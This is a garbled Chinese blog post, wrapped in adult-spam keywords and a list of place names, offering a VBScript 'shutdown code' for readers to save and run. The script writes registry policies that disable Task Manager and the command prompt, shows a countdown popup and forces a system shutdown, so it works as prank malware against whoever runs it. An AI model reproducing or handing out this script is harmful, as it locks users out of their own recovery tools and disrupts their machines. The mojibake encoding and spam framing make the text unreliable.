无码av一区二区三区无码,在线观看老湿视频福利,日韩经典三级片,成 人色 网 站 欧美大片在线观看

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

關(guān)機(jī)代碼

2023-06-28 12:59 作者:蘇浩然編程  | 我要投稿

今天帶來(lái)的是關(guān)機(jī)代碼

首先創(chuàng)建一個(gè)新的文本文檔格式為txt,打開

接著輸入以下代碼



set s=createobject("wscript.shell")

set bag=getobject("winmgmts:\\.\root\cimv2")

set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")

For Each id in pipe

if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"

id.terminate()

else

s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"

s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"

for i=1 to 60

s.popup"系統(tǒng)將在"& 60-i &"秒后關(guān)機(jī)...",1,"系統(tǒng)提示",4096+48

next

Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")

For Each eOs In colOS

eOs.Win32Shutdown(2)

Next

end if

Next



接著保存,改后綴名為vbs

就可以了

喜歡的請(qǐng)一鍵三連謝謝

本文禁止轉(zhuǎn)載或摘編


關(guān)機(jī)代碼的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
巨鹿县| 九龙城区| 泸水县| 仁化县| 万州区| 桐梓县| 贡嘎县| 宾川县| 思茅市| 凌云县| 韶关市| 五寨县| 罗城| 霸州市| 三江| 元阳县| 宝兴县| 罗田县| 合肥市| 巩义市| 高碑店市| 德格县| 乐平市| 承德市| 沁阳市| 阿鲁科尔沁旗| 筠连县| 谷城县| 饶阳县| 澄迈县| 凤城市| 临高县| 盈江县| 灵武市| 郧西县| 吐鲁番市| 武城县| 景洪市| 赫章县| 五台县| 尚义县|